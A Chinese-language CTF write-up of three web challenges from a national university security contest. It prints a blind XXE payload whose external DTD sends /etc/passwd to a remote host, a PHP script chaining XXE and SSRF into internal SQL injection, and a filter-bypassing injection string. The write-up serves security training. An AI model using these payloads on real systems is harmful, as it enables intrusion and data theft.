第十一届全国大学生信息安全竞赛CTF WEB部分writeup

《第十一届全国大学生信息安全竞赛CTF WEB部分writeup》

Easyweb

这题没什么好说的,就是有点意想不到密码是空

1.admin密码空拿到token

《第十一届全国大学生信息安全竞赛CTF WEB部分writeup》

2.拿token登录拿到flag

《第十一届全国大学生信息安全竞赛CTF WEB部分writeup》

ReadHub

这题有点坑,因为需要一个pwn手,自己pwn不了队里也没有pwn手最后没办法做下去,这题比赛的时候是0解,做到哪写到哪吧。

首先找到盲注点  是root权限,可惜不知道网站路径没办法写shell,而且直接跑不出表名,最后在information表里查到post只有一个表posts,里面也没有有用的数据,无果换思路。

《第十一届全国大学生信息安全竞赛CTF WEB部分writeup》

《第十一届全国大学生信息安全竞赛CTF WEB部分writeup》

接着在114.116.17.77/service/../post.do下载到了elf文件,用ida pro 打开发现网站为c cgi,初步判断网站为命令执行漏洞。

《第十一届全国大学生信息安全竞赛CTF WEB部分writeup》

比较可疑的地方应该是action=download,pwn不来,放弃。

 

City Nigth

扫端口发现有22,80, 33899

扫敏感文件和手动发现有这些php文件

http://114.115.149.109:33899/a.php  (phpinfo)

http://114.115.149.109:33899/common.php  (留言提交板)

http://114.115.149.109:33899/test.php (无内容)

http://114.115.149.109:33899/hacker.php (跳转hacker.html)

http://114.115.149.109:33899/config.php

http://114.115.149.109:33899/function.php

所以可以利用的地方就应该只有http://114.115.149.109:33899/common.php

传入数组的时候发现问题

《第十一届全国大学生信息安全竞赛CTF WEB部分writeup》

看到有匹配函数以为是PHPMailer 远程代码执行漏洞,后来通过52dandan.cc想起来强网杯的原题

考点是xxe,传入xxe发现报错,而且探测发现为 blind xxe

远程服务器布置一个xxe.dtd

<!ENTITY % payload SYSTEM "php://filter/read=/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://ip/?xxe=%payload;'>">
%all;
%send;

payload

<?xml version=”1.0″ encoding=”utf-8″?>
<!DOCTYPE root [
<!ENTITY % dtd SYSTEM “ip/xxe.dtd”>
%dtd;]>
<root/>

《第十一届全国大学生信息安全竞赛CTF WEB部分writeup》

可以正常返回passwd

《第十一届全国大学生信息安全竞赛CTF WEB部分writeup》

读取config文件
《第十一届全国大学生信息安全竞赛CTF WEB部分writeup》

发现 /var/www/52dandan.com/public_html/youwillneverknowthisfile_e2cd3614b63ccdcbfe7c8f07376fe431

并没有这个文件,有点坑

看强网杯的writeup看需要内网渗透,继续之

php://filter/read=zlib.deflate/convert.base64-encode/resource=/proc/net/arp

然后找ip发现只有

192.168.223.1

192.168.223.222

这两个IP有MAC地址

php://filter/read=zlib.deflate/convert.base64-encode/resource=http://192.168.223.222/

访问http://192.168.223.222/发现是个网站

http://192.168.223.222/test.php返回

Online Shop System Testing!!!Our online sales system is coming soon.Now open the test interface to internal employees!!!This time is the last testing before online!!!So this time,we test the query and search interface at once !!!!start testing~~~~your goods’s name is ”,your goods’s price is ”,your goods’s quantity is ”,your goods’s total is ”,testing finish~~~~

http://192.168.223.222/test.php?goods=1返回

Online Shop System Testing!!!Our online sales system is coming soon.Now open the test interface to internal employees!!!This time is the last testing before online!!!So this time,we test the query and search interface at once !!!!start testing~~~~your goods’s name is ‘肥皂’,your goods’s price is ’10’,your goods’s quantity is ‘1000’,your goods’s total is ‘10000’,testing finish~~~~

看强网杯write up说这里是个注入点,一条一条跑太费劲了,写了个php把网站“映射”出来

<?php
header("Content-type: text/html; charset=utf-8");
error_reporting(0); 
function send_post($url) {
 $post_data = array(
 'name' => '1',
 'email' => 'handan@qq.com',
 'comment' => '<?xml version="1.0" encoding="utf-8"?><!DOCTYPE root [<!ENTITY % remote SYSTEM "ip/test/xxe.dtd"> %remote; ]></root>'
);
 $postdata = http_build_query($post_data);
 $options = array(
 'http' => array(
 'method' => 'POST',
 'header' => 'Content-type:application/x-www-form-urlencoded',
 'content' => $postdata,
 'timeout' => 15 * 60 // 超时时间(单位:s)
 )
 );
 $context = stream_context_create($options);
 $result = file_get_contents($url, false, $context);
 
 return $result;
}
 

function dtd($sql) {
 $dtd = '<!ENTITY % file SYSTEM "php://filter/read=zlib.deflate/convert.base64-encode/resource=http://192.168.223.222/test.php?goods='.$sql.'">
<!ENTITY % all "<!ENTITY &#37; send SYSTEM \'ip/test/xxe.php?xxe=%file;\'>">
%all;
%send;';
file_put_contents("xxe.dtd",$dtd);
}

$sql_str = urlencode($_GET[goods]);
dtd($sql_str);

send_post('http://114.115.149.109:33899/common.php');
$str = file_get_contents('xxe');
echo $str;
?>

放到php环境的服务器上,完美

《第十一届全国大学生信息安全竞赛CTF WEB部分writeup》

这样注入就方便多了,然后就是愉快的注入了

过滤了,=等关键字符,还好没有过滤关键词,一番fuzz后找到一个可用的payload

注入payload

goods=2%27-(case%a0when((select%a0group_concat(total)%a0from%a0albert_shop)like%a0binary(%27{}%27))then(0)else(1)end)-%271

flag CISCN{04312248512f06b777d8d0be53a5aeab}

《第十一届全国大学生信息安全竞赛CTF WEB部分writeup》

点赞

发表评论

电子邮件地址不会被公开。 必填项已用*标注